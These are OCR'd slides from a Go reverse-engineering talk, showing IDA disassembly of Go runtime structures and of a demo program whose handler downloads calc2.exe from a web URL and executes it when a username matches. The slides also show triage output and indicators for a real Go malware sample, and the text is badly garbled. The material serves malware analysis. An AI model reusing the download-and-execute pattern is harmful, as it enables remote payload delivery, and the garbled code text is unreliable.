Intel 860 P Bfun <
Analysis = From the next slide onward,
Loading segment 0 kernel options 1 | | Kernel options 2 | | Kernel options 3 .
Enabled all Go source code snipets
Loading offset O Indicator enabled Processor options have been ext ra cted/based

Options from go.dev and pkg.go.dev
sading options V| Create segments [] Load resources s
o oo feas DLL entie because learning the source
Create imports segment [] Manual load code is critical to get a
oK Cancel better understanding on Go

Reversing! ©
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] FIRST STEPS ON GO REVERSING

OFFFFFFFAQ

0

1 ; pc quantum

g ; poipter size

4697 ; num entries in function tabkle
457 ; num files

(offset funcnametab - offset runtime symtab) ; "go.buildid"
(offset cu offset - offset runtime symtab)

(offset filetabh - offset runtime symtab) ; "C:/Program File:
(offset pctab - offset runtimg_é?ﬁtab}

(offset functab - offset runtime symtab)

:0000000000401000
:0000000000401000
:0000000000401000
:0000000000401000 public go buildid
:0000000000401000 go buildid proc¢ near
:0000000000401000

:0000000000401000 Jjmp gquword ptr [rax]
:0000000000401000 go buildid endp

:0000000000401000 -
:0000000000401000

o
w
=
=
<<
o
(U]
o
o
a
S~
o
w
o
@)
pu—
w
>
w
[a)
=
o
)
o
>
w
S~
o
w
w
=z
O
=2
w
w
n
o
w
>
w
o
|
n
w
O
@
@)
@
w
o
[a)
=
<
>
w
-
<<

aGoBuildIdKoFif db 'Go build ID: "KO-fiFGixnhDURgiLXTpRp/ErIf%29GYDtUKPfk5ishet/pdlzkKhTh'
db 'buVCfsygEJx/iJCTRX-PafR TdgXvl n"'




] FIRST STEPS ON GO REVERSING

.rdata: funcnametab
.rdata:
.rdata: aInternalCpulni
.rdata:
.rdata: alnternalCpuPro
.rdata:
.rdata: aInternalCpulnd
.rdata: aInternalCpulDoi
.rdata:
.rdata: aInternalCpulss
.rdata: aInternalCpuCpu
.rdata:
.rdata: aInternalCpu¥ge
.rdata:
.rdata: aTypeEqInternal
.rdata:
.rdata: aTypeEqlbhIntern
.rdata:
.rdata: aRuntimeInterna
.rdata:
.rdata: aInternalByteal

&

-

'internal/cpu.Injtialize',0

; DATA XREF: .rdata:stru TCAB&8 |0
'internal/cpu.prpcessOptions' , 0
; DATA XREF: .rd
'internal/cpu.inflexByte' ,0
'internal/cpu.doinit',0

; DATA ¥XREF: .rd
'internal/cpu.isset' ,0
'internal/cpu.cpuid' ,0

; DATA ¥XREF: .rd
'internal/cpu.xgetbv' ,0

; DATA XREF: .rd
'type. .eq.internal/cpu.option' , 0

; DATA XREF: .rd
'type..eq. [15]internal /cpu.option' , 0

; DATA XREF: .rdata:
'runtime/internal/sys.OnesCount6d' ,0

; DATA XREF: .rdata:
'internal /bytealg. IndexRabinKarpBytes' k0

db
db
db
db
dl
dl
db
dl
db
dl
db

.rdata: ; DATA XREF: .rdata:
.rdata: aInternalByteal 10 db 'internal/bytealg.HashStrBytes',0

.rdata: aInternalByteal 11 db 'internal/bytealg.Equal',0

.rdata: aInternalByteal 0 db 'internal/bytealg.IndexRabinKarp',0

.rdata: B ; DATA XREF: .rdata:
.rdata: aInternalByteal 12 db 'internal/bytealg.Hashstr',0

.rdata: aInternalByteal:l db 'internal/bytealg.countGenericsString',0
.rdata: ; DATA XREF: .rdata:stru
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functab FUNCTAB ENTRY116 <offset go buildid, \

=  Function Table
[offset stru TCAB38 - offset functab)>
FUNCTAB ENTRY116 <offset internal cpu Initialize, \
([offset stru_TGHBES - offset functah) >
FUNCTAB ENTRY11l6 <offset internal cpu processOptions, \
N (offset stru 7CABDO - offset functab)>
FUNCTAB ENTRY116 <offset internal cpu deoinit, \
([offset stru_TGHEBS - offset functah) >
FUNCTAEB ENTRY11l6 <offset internal cpu cpuid, \
N (offset stru 7CAC90 - offset functab)>
FUNCTAB ENTRY116 <offset internal cpu xgetbwv, \
([offset stru_TGHCFD - offset functabh) >
FUNCTAEB ENTRY11l6 <offset type eq internal cpu option, \
- (offset stru 7CAD50 - offset functab)>
FUNCTAB ENTRY116 <offset type_:éq__lﬁ_internal_gpq_pption, \
([offset stru_TGHDBS - offset functab) >
FUNCTAB ENTRY116 <offset runtime internal sys OnesCountéd, \
(offset stru TCAEZ20 - offset functab)>
FUNCTAB ENTRY116 <offset intefﬁél_bytealg_IndexRabinKarpEytes, \
([offset strq_TGﬂEﬂﬂ - offset functab) >
FUNCTAB ENTRY116 <offset internal bytealg IndexRabinKarp, \
(offset stru TCAEES - offset functab)>
FUNCTAB ENTRY116 <offset intefﬁél_bytealg_qountGenericString, \
([offset stru_TGHFEG - offset functab) >
FUNCTAB ENTRY116 <offset internal bytealg init 0, \
([offset stru TCAFBO - offset functab)>
FUNCTAB ENTRY116 <offset cmpbody, \
(offset stru TCAFF0 - offset functab)?>
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/0 |Iruntime defaul tGOROOT| dg offset runtime defaul tGOROOT str

T

"C: \\Program Files\\Go"

loc 61282D: ; CODE XREF: net http init+1BC2:j
rdi, gword B8BED98
runtime gcWriteBarrier

= Don’t waste time with
Garbage Collector functions!

loc 6128335: ; CODE XREF: net http infit+1BCBE:]

rax, unk 652760
runtime newobject
qword ptr [rax+8], 18h
rcx, aHttpZ2Canceling ; "http2: canceling|l request”
[rax], rcx

rcx, go itab errors errorString error
gs:net http httplerrStopRegBodyWriteAndChnecel, rox
cs:ruﬁEime_;fiteEarrier, 0 |
short loc bllo/l/
cs:qword B8BEDAB, rax
short loc 612885
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=

xrefs to runtime_gcWriteBarrier

Direction Typ Address

internal_cpu_doinit+27A

internal_frmtsort_Sort+ 220

internal_frmtsort_Sort+203
internal_frtsort___ptr_SortedMap__Swap+120
internal_frntsort___ptr_SortedMap__Swap:loc_439E29
internal_oserror_init+ 140

internal_oserror_init+ 184

internal_aoserror_init+6{

internal_aserror_int+ A8

internal_aoserrar_init+F4
internal_pell___ptr_FD__Init+3CF
internal_pell__ptr_FD__Init+3ED
internal_pell__ptr_FD__readConsole+93

= internal_pell__ptr_FD__readConsole+ED
internal_poll___ptr_FD__writeConsole+ 360
internal_pell_init+ 60
internal_poll_init+ A4

internal_poll_init+F4

b T o s T s T s T s T o T o e e T e T o e o e T T T T

internal_pell_runtime_poll5etDeadline+ 24E

=
=
=
=
=
E

internal_singleflight___ptr_Group__DoChan+116

o

runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier
runtime_gcWriteBarrier

runtime_gcWriteBarrier

Garbage Collector function
is called many times!

Line 600 of 1598

Cancel Search
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Instruction following structure in GO: il et =

= string’s content (char¥*)
=  size (qword)

; wolid cdecl main main ()
public main main

T . . main main proc near
Package os.File implements io.Writer — P

interface (rax), Stdout (rbx) comes from os var 8= qword ptr -8
package and it’s is defined as a global
variable. Additionally, rcx holds the strings cmp rsp, [rl4+10h]
and edi contains the string’s size. jbe loc 61F159

A

il i 5= Ll i (=]
sub rsp, 40h

mow [rsp+40h+var 8], rbp loc 61F159: \ 4
lea rbp, [rspt+40h+var 8] call runtime morestack noctxt
mow rhx, cs:os Stdout xchg ax, ax

lea rax, go itab os File io Writer Jjmp main main |
lea rcx, aRunningInMainF |; "Bunning in main function!i\n'\n"| main main endp
mow edi, 1Bh N
XOoT esi, esi [
XOoTr r8d, r8d

mow r%, r8

call fmt Fprintf | |
nop func Printf(format string, a ...interface{}) (n int, err error) {
oY rax, cs:net hitp DefaultServeMux return Fprintf(os.Stdout, format, a...)

lea rbx, aSubmit ;o "Ssubmit"® }
MOV ecx, [
lea rdi, go itab net http HandlerFunc net http Handler

=  Functions in Golang check for
enough stack space before
setting up the local stack frame.

—

=  Printf( ) function, from fmt package, is defined as:
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] FIRST STEPS ON GO REVERSING

(small allocation) newobject = mallocgc = mcache = mspam (32KB memory chunk)

rsi, off 6Al6ED <module_package_function>
net http ptr ServeMux Handle

off 6A16ED blackstormsecurity projectl Conference

rax, unk 6805920
runtime newobject off 6A16ES dg offset bytes makeslice funcl

qword ptr [rax+o8], b
rdx, a9999 - ".000Q0Q"N off 6A16F0 dg offset compress flate ptr decompressor cop

[rax],

xmmword ptr [rax+10h], zxmmlb

net http ‘| Server ListenAndServe
rbp, [rsp+4d0h+var 9]

rsp, 40h a

. pointer to ListenAndServe function, which is defined as:
type StringHeader struct {

Data uintptr ) ]
EnRn func ListenAndServe(addr string, handler Handler) error {

} server := &Server{Addr: addr, Handler: handler}
return server.ListenAndServe()
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] FIRST STEPS ON GO REVERSING

public blackstormsecurity projectl Conference
blackstormsecurity projectl Conference proc near

var x as named is not a so var_48= qword ptr -48h
- var 40= gword ptr -40h

good represention because var 38— xmmword ptr -38h
stack are re-used in the code, var_ 28= xmmword ptr -28h = Stack setup
so it’s advisable to change it to var_ 18= xmmword ptr -18h

. i~ vaﬁ:8= ¢gqword ptr -8
rsp + XXh using “Q” hotkey. arg 0= qword ptr 8 = Thereisn’t a prologue

arg 8= gword ptr 10h ’ q
arg 10- qword ptr 18h :‘a\s we’re used to seeing
in other languages.

cmp rsp, [rl4+10h]
jbe loc 61EDCH

]

il e 5

’

rsp, FFFFFFFFFFFFFF80h Don't try to follow
[rsp+¥8h1, rbp each stack loc 61EDCY:

rbp, [rsp+78h] manipulation © mov [rsp+arg 0], rax
Irsp arg ; LCX mowv [rsptarg 8], rbx
[]:‘51::++8II}I'L+E:_1:g_[}]Jr rax mov [r5p+arg_10], rcx - Checkstackspace
[]:‘51::++8II}I'L+E:_rg:B]Jr rbx call runtime_ﬁbrestack_noctxt
xmmword ptr [rsp+58h], xmmlb mowv rax, [rsp+arg 0]

rdx, unk 63B280 mowv rbx, [rsptarg 8]
[r5p+58HT, rdx mowv rox, [r5p+arg_10]

r8, off 6E3C28 ; "Running in Conference function!"] |jmp blackstormsedarity projectl Conference
[r5p+6[}-H]Jr r8 blackstormsecurity projecﬁI Conference endp
r8, cs:os Stdout o N
edi, 1
Lsi, rdi A 4
rax, g@_itab_gs_Fj_]_e_j_Q_er_ter PaCkage OS-FiIe implements
rbx, r8 io.Writer interface. It’s

necessary to FPrintf( ) ahead.
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A 4

func mapaccessl_faststr(t *maptype, h
*hmap, ky string) unsafe.Pointer

Prevents race condition.

leao rox, [rspthih
call fmt Fprintln
mow rdx, [rsp+9%8h]
oW rax, [rdx+10h]
nop dword ptr [rax]
call net url  ptr URL Query =  from *http.Request.URL.Query().Get()
Test Tax, Lax
inz short loc 61ECS30
MFIE
loc 61ECS20:
mowv rbx, rax
lea rcx, alUser ; "user"
mowv edi, 4 "
lea rax, unk 66CD60
call runtime Eﬁpaccessl faststr
oW rdx, [rax] -
cmp gquword ptr [rax+8], 0
jnz short loc 61ECBB
Ll = 5= Ll s 5= MIEE
Xxor edx, edx Xor edx, edx
Xxor ecx, eCcx Xor ecx, ecx loc G1lECEE:
Jmp short loc 61ECC2| |jmp short loc 61ECC2 mov rex, [rdx+8]

mow rdx, [rdx]

Ll s 55




] FIRST STEPS ON GO REVERSING

Remember that Go interfaces offers an approach to specify the
behavior/type of an object, so the wished behavior here is “string”:

loc 61ECC2:

O [rsp+38h], rex
[rsp+40h], rdx func convTstring(val string) (x unsafe.Pointer) {
xmmword ptr [rsp+68h], zmmlbs if val == un{

rax, rdx T .
Flost—me > x = unsafe.Pointer(&zeroVal[0])

rm—ltime ] convTstring —I } else {

rox, unk 658380 x = mallocgc(unsafe.Sizeof(val), stringType, true)

[r5p+68hT, rox .
[rsp+70h], rax *(*string)(x) = val

rax, unk 64E720 }
rbx, [rsp+88h] return
rox, [rsp+90h]
runtime convI2I
rcx, aTEeRequesterIs ; "The requester is: Fs\n"

ai, 1ioh T
S [28p+68h] Convert Interface’s type to
r

réd, 1 another Interface’s type (121). In a
r9, r8 rough definition, an Interfaceis a

fmt Fprintf collection of methods that are
rax, [rsp+40h]

rhx, [rsp+38h] implemented by Structs, which
runtime convTstring | are composed by fields.
xmmword ptr [rsp+48h], mmlEI = Copy 16 bytes from

rcx, unk 63B9530 xmm15 into address
[rsp+48h], rcx

[rsp+50h], rax pointed by rsp+48h.
rbx, cs:os Stdout . . .
rax o itab os File io Writer] | io.Writer interface.
rcx, aTheRequesterIs 0 ; "The requester is: Zs\n\n"
edi, 16h

rsi, [rsp+48h]

= https://golang.org/src/runtime/iface.go

= Package os.File implements
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mowv r8d, 1

Mowv r9, rs8 h e dre” h ] ;
call fmt rintf | The string “alexandre” has a size o

" mov rcx, [rsp+38h] bytes, so a comparison to check if
cmp rcx, 9 ) the user variable holds some string
jnz short loc 61EDA2 with this same size is done.

mowv rdx, 'rdnaxela! The first 8 characters are tested
mov rsi, [rspt+40h]

cmp [rsi], rdx (“alexandr”) and whether the
j-nz shcrtf Toc 6IEDAD comparison is successful, so the last
™1 = character (“e”) is finally checked.

E@@ f h H {“ I d ”
cmp byte ptr [rsi+8], 65h : ‘& If t e username is “alexandre”, so
nop the “calc2.exe” is downloaded

j=z short loc 61EDBF from website by calling
_ '___f _ “blackstormsecurity.project.Dow
Y Y nload_Exec” (remember:
@@ <module_package_function>). In
addition, we have:

lcq_ﬁlEDﬂE:

lea rax, aCalc2Exe ; "calcl. exe" “calc2 ” stri
Mo ebx, 9 rax: ‘caicz.exe string

lea rcx, aHttpWwwBlackst ; "http://www.blackstormsecurity.com/confe" [, ebx: string size
mov edi, 36h ; '6° rcx: URL for downloading
call blackstormsecurity projectl Download Exec calc2.exe

g edi: URL string size
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public blackstormsecurity projectl Download Exec
blackstormsecurity projectl Download Exec proc near

var b= qgqword ptr -58h
vaﬁ:50= gqword ptr -50h
var 48= gword ptr -48h
var 40= gword ptr -40h
var 38= xmmword ptr -38h
var 28= xmmword ptr -28h = Stack setup
var 18= xmmword ptr -18h
var 8= qgword ptr -8

arg 0= gword ptr 8
arg:8= gqword ptr 10h
arg 10= gword ptr 18h
arg 18= gword ptr 20h

lea rl2, [rsp-10h] . .
onp 12, [rld+1on] |G
Jbe loc 61F08C 8
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L J
e = o0s.Stdout is declared s =
sub rsp, 90h
mov [rsp+88h], rbhp as global variable. loc 61F08C:
lea rbp, [rsp+88hl] mov [rsptarg 0], rax
mov [rsp+0BOh], rdi type StringHeader struct{ | [mov [rsp+arg 8], rbx
MoV [rsp+0ABh], rTox Data uintptr mov [rsp+arg 10], rex
mowv [rsp+0R0ORL], rbx P . mowv [rsptarg 18], rdi
mowv [rsp+98h], rax Len int call runtime_ﬁorestack_nc:ctxt
movuaps xmmword ptr [rsp+eph], xmmlb mov rax, [rsptarg 0]
lea rdx, unk 63B380 mow rbx, [r5p+arg:8]
MoV [rsp+68Bh], rdx mov rex, [rsp+arg 10]
lea r8, off 6E3C38 ; ['Running in Doynload Exec functionl!" mowv rdi, [r5p+arg:1 8]
oW [rsp+70h]1, 18 Jmp blackstormsecurity projectl Download Exec
mov r8, cs:os Stdout blackstormsecurity projectl Download Exec endp
mow esi, 1 — o o o
lea rax, go itab os File io Writer
oY hx T —— S | = Package os.File implements
lea rcx, [rsp+68h] io.Writer interface.
mov rdi, rsi The Create( ) function used by our application

call fmt_Fprintin rax: filename string code (slide 26) is actually implemented using

. rax, [rsp+98h] o e G pEre OpenfFile( ) (check it on Go source code --

rbx, [rsp+0A0h] ecx: flags package os.File:

ecx, 242h https://golang.org/src/os/file.go)
edi, 1B6h

o5 OpenFile f
[rsp+dBh], Tax At this point rbx holds the “err”
rbx, rbx | variable (from code) and it’s tested
short loc 61EEDC ) .

— to confirm whether file has been

created successfully or not.

edi: file mode
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Ae=
= HTTP client (as well as HTTP server) |
are provided by http package. loc 61EEDC:
nop __
Mov rax, cs:net http DefaultClient
mow rbx, [rsp+90h+arg 10] = rbx: URL string
v mow rox rsp+90h+arg 18 = rcx: URL string size

Http.Get( ) is implemented as: call net http i

ptr Client Get

Mo [Tsp+dULR], rax

func Get(url string) (resp *Response, err error) { mow [rsp+38h], rbx
mow [rsp+50h], rcx

return DefaultClient.Get(url) rprs T——— = |fthereisn’t any error ( err == nil), so
¥

B short loo W proceed to time.Sleep( ) function.
— Otherwise, move to log.Panicln().

v

Sleep function from time package |E o
xmmword ptr [rsp+78h], xmmlb accept argument. In this case,
short loc G61EFI1B 2540BE400h is equal to 10000000000 loc 61EF3D:

== nano seconds, which results to 10 mov rax, 2540BE400h
seconds. call time Sleep
MoV rcx;_[rsp+38h]
test rcx, rcx
Jz short loc 61EFS8B

Y L J
il = : il =
rdx, [rbx+8] movups [rsp+90h+var 18], xmmlb
short loc 61EF1E| (loc 61lEF1B: Jz short loc 61EFé64
mow rdx, rbx ]
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func convl2l(inter *interfacetype, i iface) (r iface) {

@ = tab :=i.tab
loc 61EFSB: TS Ml
mov  rdx, [rsp+40h] : e
Mo rbx, [rdx+40h]
mowv rex, [rdx+48h] if tab.inter == inter {
lea rax, unk 64E5BA0 r.tab = tab
nop r.data = i.data
| call runtime convI2T return
mov Tox, Trax }
mow rd% r rblf = Package os.File implements r.tab = getitab(inter, tab._type, false)
izi ig;’ ig; ” io.Writer interface. r.data = i.data
mow ra, ' rf return
lea rax, go itab os File io Writer J
mowv rbx, |rsp+ach] On the source code we’ve used io.Copy( ), which is implemented by the CopyBuffer()
nop function:
call io copyBuffer
zzz ::Sh;’ Eigﬁ:j gﬁ} func Copy(dst Writer, src Reader) (written int64, err error) {
Mo ra_xj [rdx+48h] returr] copyBuffer{dst, src, nil)
mowv rdx, [rsi+l1l8h] } |
call rdx
nop fund CopyBuffel(dst Writer, src Reader, buf [Jbyte) (written int64, err error) {
mow rdx, [rsp+48h] if buf != nil && len(buf) ==0 {
xchg ax, ax panic("empty buffer in CopyBuffer")
test rdx, rdx }
jz short loc 61EFED return copyBuffer(dst, src, buf) | = The actual implementation

} i is a bit longer... ©
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Yy
ol e = ol e = func Fprintf(w io.Writer, format string, a

loc 61EF67: loc 61EFED: ...interface{}) (n int, err error) {

mowv [Tsp+78h], rbx movups xmmword ptr [rsp+58h], xmmlb p = newPrinter()

mowv rdx, [rsp+50hl] lea rdx, unk 63B980 p.doPrintf(format, a)
mow [rsp+B80h], rdx Mow [rsp+58h], rdx - .

lea rax, [rsp+78hl] lea rdx, off 6E3C48 ; "Executing| the payload!"” 1, P S RO,
mowv ebx, 1 mowv [r5p+6[}hT, rdx p.free()
mowv rcx, rbx mowv rbx, cs:os Stdout return
call log Panicln lea rax, go itab os File io Wri
- lea rox, [rEp+53HT N -

edi, 1 os.exec.Command( ) returns a Cmd
rsi, rdi

= rax: filename < fmt Fprintln structure used by Run( ) method.
= rbx: website rax, [rsp+90h+arg 0]
rhx, [rsp+%0h+arg 8] type Cmd struct {

SCX, ecx Path string

func (c *Cmd) Run() error { igi' igi Args []string

3 .= - 1= ni .
if err := c.Start(); err !=nil { os oxec Commandl Env []string
return err os_exec  ptr Cmd Run Dir string

} _ : I‘iirtrii N Stdin io.Reader
return c.Wait() SHort —oc : Stdout io.Writer

] - ¥ Stderr io.Writer
[l e 5= ol e 5= ExtraFiles []*os.File

movups xmmword ptr [rsp+78h], xmml5 SysProcAttr *syscall.SysProcAttr
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j=z short loc 61F05D loc 61FD7TC: %
— — Process *os.Process
™1 mowv rhp, [rsp+88h]

add rsp, 90h ProcessState *os.ProcessState

retn
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1 GO MALWARE

= As analyzing malware threats is usually a time consuming task, so it is NOT our goal here
to analyze a whole malware sample (not even close), but only to comment few pieces of
code to highlight one or another point.

= Additional point: either “method” or “function” nomenclature can be used with same
effect, though there’s a small difference between them.

= Technically, functions are usually declared by specify argument’s types, body and return
values, while method are defined as having a receiver (class), but it isn’t fundamental to
understand concepts here.

= Once again, all Go source code snipets have been extracted/based from go.dev and
pkg.go.dev because learning the source code is critical to get a better understanding on
Go Reversing! ©
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remnux@remnux:~/malware/golang$| malwoverview.py -x 1 -X 4961954c47ef2395dd73b8cc4bb36827f71e08al3f9ecd4ccldaba51715334fc9

TRIAGE OVERVIEW REPORT

id: 210202-1ldpx7jtse
status: reported
kind: file

filename: 4961954c47ef2395dd73b8cc4bb36827f71e08al3f9%ecd4ccldaba51715334fc9

submitted: 2021-02-02T16:12:07Z

completed: 2021-02-02T16:14:447

next: 2021-02-02T16:12:07.504556Z

remnux@remnux:~/malware/golang$

remnux@remnux:~/malware/golang$| malwoverview.py -x 2 -X 210202-1ldpx7jtse

TRIAGE SEARCH REPORT
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score: 6

id: 210202-1ldpx7jtse

target: 4961954c47ef2395dd73b8cc4bb36827171e08al3f9%9ecdccldaba51715334f¢c9
size: 6372864

md5: dOb43b3bdfebfb827ae68b7b339317fc

shal: e112d6d469635acB80ebcfabdca®l3496a7ed76b9

sha256: 4961954c47ef2395dd73b8cc4bb36827f71e08al13f%cdccldaba51715334fc9

completed: 2021-02-02T16:14:44Z 49
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signaturesg Sections: Entropy
JavaScript code in executable
Looks up external IP address via web service _text 5.92
Enumerates physical storage devices rdata 5 37
Modifies system certificate store _data 5.47

Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory

.1data 3.63
.symtab 0.02

Main Antivirus Reports:

Scan date: 2021-09-13 03:01:50

iocs:

api.ipify.org
www.download.windowsupdate.com
i.imgur.com
api.anonfiles.com
anonfiles.com
api.anonymousfiles.io
gi74qcmwmxoqdxun.onion.ws
file.io

X.552.us
ctldl.windowsupdate.com
8.8.8.8

54.235.147.252
151.101.36.193
45.148.16.42

104.21.44.137 .
104.21.234.187 = malwoverview.py -f

198.251.89.65 4961954c47ef2395dd73b8cc

52.22.39.17

65.9.76.164 4bb36827f71e08a13f9ec4cc
o8 01 78 iee. 1daba51715334fc9.exe -v 2

104.21.234.186
65.9.76.230
http://X.552.Us/X.cer
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authr

v
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Imported DLLs:
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remnux@remnux:~/malware/golang$

remnux@remnux:~/malware/golang$ go tool buildid 4961954c47ef2395dd73b8cc4bb36827f71e08al3f9%ecd4ccldaba51715334f

c9.exe

z5culzBjQLl9JEBHZbbsx/Th81GYan3M7yk1LxvER2/afd4PGNO7ThwWeijxppdk/z7frL 2dqIBzytg9fQlu

remnux@remnux:~/malware/goLangs:

remnux@remnux:~/malware/golang$ go version 4961954c47ef2395dd73b8cc4bb36827171e08al3f9%ec4ccldaba51715334fc9.ex

e
4961954c47et2395dd73b8cc4bb36827171e08al3f9%cd4ccldaba51715334fc9.exe:
remnux@remnux:~/malware/golang$

gol.14.12

remnux@remnux:~/malware/golang$ strings -af 4961954c47et2395dd73b8cc4bb36827f71e08al3f9ecdccldaba51715334fc9.e
xe |grep -E "((\"?)([a-2zA-Z0-9_-1{20})\/)(([a-zA-Z0-9_-]{20})\/([a-zA-20-9_-]){20}\/([a-zA-20-9_-]){20}(\"?)$)

4961954c47ef2395dd73b8ccdbb36827171e08al3f9ecdccldaba51715334fc9.exe:

remnux@remnux:~/malware/golang$

Go build ID:

remnux@remnux:~/malware/golang$ file 4961954c47ef2395dd73b8cc4bb36827f71e08al3f9ecdccldaba51715334fc9.exe

4961954c47ef2395dd73b8cc4bb36827f71e08al3f9ecdccldaba51715334fc9.exe:
ped to external PDB), for MS Windows
remnux@remnux:~/malware/golang$

PE32+ executable

(console) x86-64 (strip

remnux@remnux:~/malware/golang$ strings -a 4961954c47ef2395dd73b8cc4bb36827171e08al3f%ecd4ccldaba51715334fc9.ex

c -1
87292
remnux@remnux:~/malware/golang$

-MWXr--r-- 1 remnux remnux IM|Oct 25 21:56 4961954c47ef2395dd73b8cc4bb36827f71e08al3f9ecd4ccldabab51715334fcH9.

exe

remnux@remnux:~fmalwarefgo1ffffj'ls -1h 4961954c47ef2395dd73b8cc4bb36827171e08al3f%ecdccldaba51715334fc9.exe
6.
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Function name

E _rtd_amd&d_windows

E runtirne_asmstdcall

|Z| runtirme_badsignal

|z| runtirne_getlasterror

E sigtramp

E runtime_exceptiontramp

|Z| runtirne_firstcontinuetramp
|z| runtirme_lastcontinuetramp
E runtime_ctrlhandler

E runtirne_externalthreadhandler
|Z| runtirme_callbackasmi

|z| runtirme_tstart_stdcall

E runtime_settls

E runtirme_onaosstack

|Z| runtirme_usleep2

|z| runtire_switchtothread

E runtime_nanctimel

E time_now

|Z| type__eq_runtime__panic

|z| type__eq_runtirme_ defer

E type__eq_runtime_sysmontick
E type__eq_runtime_special

|Z| type__eq_runtime_mspan

|z| type__eq_runtime_markBits
E type__eq_runtime_mcache
E type__eq_struct__runtirne_gList__runtime_n_int32_
|Z| type__eq_runtime_gcWerk
|z| type__eq_runtime_whBuf

E type__eq_runtime_mO%

E runtirne__ptr_waitReason__String

|z| type__eq_runtime_sudog
[F] tne en runtime hehan

ﬁ__% Imports

O & x

IE Sirings

Address

ﬁ__:| 00000000009D2020
00000000003D2028
Q0000000003D2030
00000000009D2038
=] 0000000000SD2040
|§§| 000000000090 2048
Q0000000003D2050
| 0000000000GD2058
E_EI 000000000090 2060
00000000009D2068
Q0000000003D20T0
00000000009D207E
00000000009D2020
00000000009D2088
Q0000000003D2090
00000000009D2098
00000000003D20A0
00000000005D20A8
Q0000000003D20B0
0000000000GD20EE
00000000005D20C0
00000000005D20CE
00000000003D20D0
00000000005D20DE
00000000009D20ED
00000000009D20ES
Q0000000003D20F0
00000000009D20FE
00000000009D2100
00000000003D2108

R P L L RN,

COrdinal

Mame

WriteFile

WriteConsoleW
WaitForMultipleObjects
WaitForSingleOhject
YirtualQuery

VirtualFree

YirtualAlloc

SwitchToThread
SuspendThread
SetWaitableTimer
SetUnhandledExceptionFilter
SetProcessPriorityBoost
SetBvent

SetErrorMode
SetConsoleCtriHandler
ResumeThread
QueryFullProcessimageMamed
ProcessldToS5essionld
PostQueuedCompletionStatus
OpenProcess

LoadLibraryA

LoadLibraryW

SetThread Context
GetThreadContext
GetSystemninfo
GetSysternDirectoryA
GetStdHandle
GetQueuedCompletionStatus
GetProcessAffinityMask
GetProcAddress

— - LT

Librar *
ker...
ker...
ker...
ker...
ker...
ker...
ker...
ker...
ker...
ker...

ker...

ker...

Address

i

w

v

i

I

w

i

i

i

w

4

i

.rdata:0000000...
.rdata:0000000...
rdata:0000000...
rdata:0000000...
.rdata:0000000...
.rdata:0000000...
rdata:0000000...
rdata:0000000...
.rdata:0000000...
.rdata:0000000...
rdata:0000000...
rdata:0000000...
.rdata:0000000...
.rdata:0000000...
rdata:0000000...
rdata:0000000...
.rdata:0000000...
.rdata:0000000...
rdata:0000000...
rdata:0000000...
.rdata:0000000...
.rdata:0000000...
rdata:0000000...
rdata:0000000...
.rdata:0000000...
.rdata:0000000...
rdata:0000000...
rdata:0000000...
.rdata:0000000...
.rdata:0000000...
rdata: 0000000, ..

*

1z

Length

0000000G
00000009
00000009
0000000G
0000000G
00000009
00000009
0000000G
0000000G
00000009
00000009
0000000G
0000000G
00000009
00000009
0000000G
0000000G
00000009
00000009
0000000G
0000000G
00000008
00000009
00000009
00000008
00000009
00000009
0000000G
0000000G
00000008
00000008

Type

L T T T T T T O T T T T O Y T OO T Y Y T T O T T T T T o Y Y T T |

String
“acontext
“anet/url
Yaos exec
Yaos/user
areflect
“aruntime
Yastrconv
Yastrings
Yasyscall
“aunicode
Ya**uintd
Ya*[0]int
wa*[1]int
Ya*[4]int
Ya*[3]int
Ya*[B]int
Wa*[7]int
Ya*[8]int
Ya*[9)int
“a*[1bool
Ya*[lintd
“a*[Juint
Ya*exec.F
Ya*fmt.pp
Ya*funci)
Ya*net.|P
“a*string
Ya*uint1e
Ya*uint32
Ya*uintbd
YaAddASMNT

Line 1096 of 5810

Line 10 of 40

Line 24 of 15492
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. . 0006D7430 ; wvoid cdecl main main()
maln'maln() 0006D7430 main_maE proE near ;
:00000000006D7430
:00000000006D7430
:00000000006D7430
:00000000006D7430 wvar F8

:00000000006D7430 war EB

:00000000006D7430 war DB

:00000000006D7430 war cO

CODE XREF: runtime main+lF8:p
main main+332 .7

xmmword ptr -0F8h — typedef struct _TEB
xmmword ptr -0ESh {
xmmword ptr -0D8h — struct _NT_TIB NtTib;

xmmword ptr -0COh VOID* EnvironmentPointer;

//0x0 —
//0x1c

:00000000006D7430
:00000000006D7430
:00000000006D7430
:00000000006D7430

var BO
war AB
var AO
var 98

gword
cguword
gqword
gqword

Pt
ptr
prtr
ptr

-0BOh
-0ABh
—0AOh
—-98h

struct _CLIENT_ID Clientid; //0x20

¢gqword ptr -%0h —
HEmmwWord -88h
Xmmword -T78h
Xmmword -68h
HEmmwWord -58h
HEmmwWord -48h
Xmmword -38h
xmmword -28h
HEmmwWord -18h
gqword ptr -8

:00000000006D7430 vaﬁZBD

typedef struct _NT_TIB {e
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;
PVOID StackBase;

PVOID StackLimit;
PVOID SubSystemTib;
PVOID FiberData;

—PVOID ArbitraryUserPointer;
struct _NT_TIB *Self;

}NT_TIB;

:00000000006D7430 war 88
:00000000006D7430 var 78
:00000000006D7430 vaﬁ:EB
:00000000006D7430 war 58
:00000000006D7430 war 48
:00000000006D7430 var 38
:00000000006D7430 vaﬁiﬂB
:00000000006D7430 war 18
:00000000006D7430 var 8
:00000000006D7430 N

:00000000006D7430 [ mow
:00000000006D7439 mowv
:00000000006D7440 lea
:00000000006D7445 cmp
:00000000006D7445 jbe
:00000000006D744F sub

rox, gs:28h] v
rex, [rex+0] -
rax, [rsp+var 78]
rax, [rcx+1DHT
loc 6D7T7ED

rsﬁT OFB8h

One of possible usages of ArbitraryUserPointer
would be pass some information to a debugger, but
it seems Go uses it as a TLS slot on Windows.

ALEXANDRE BORGES — REVERSE ENGINEER/EXPLOIT DEVELOPER/PROGRAMMER




1 GO MALWARE

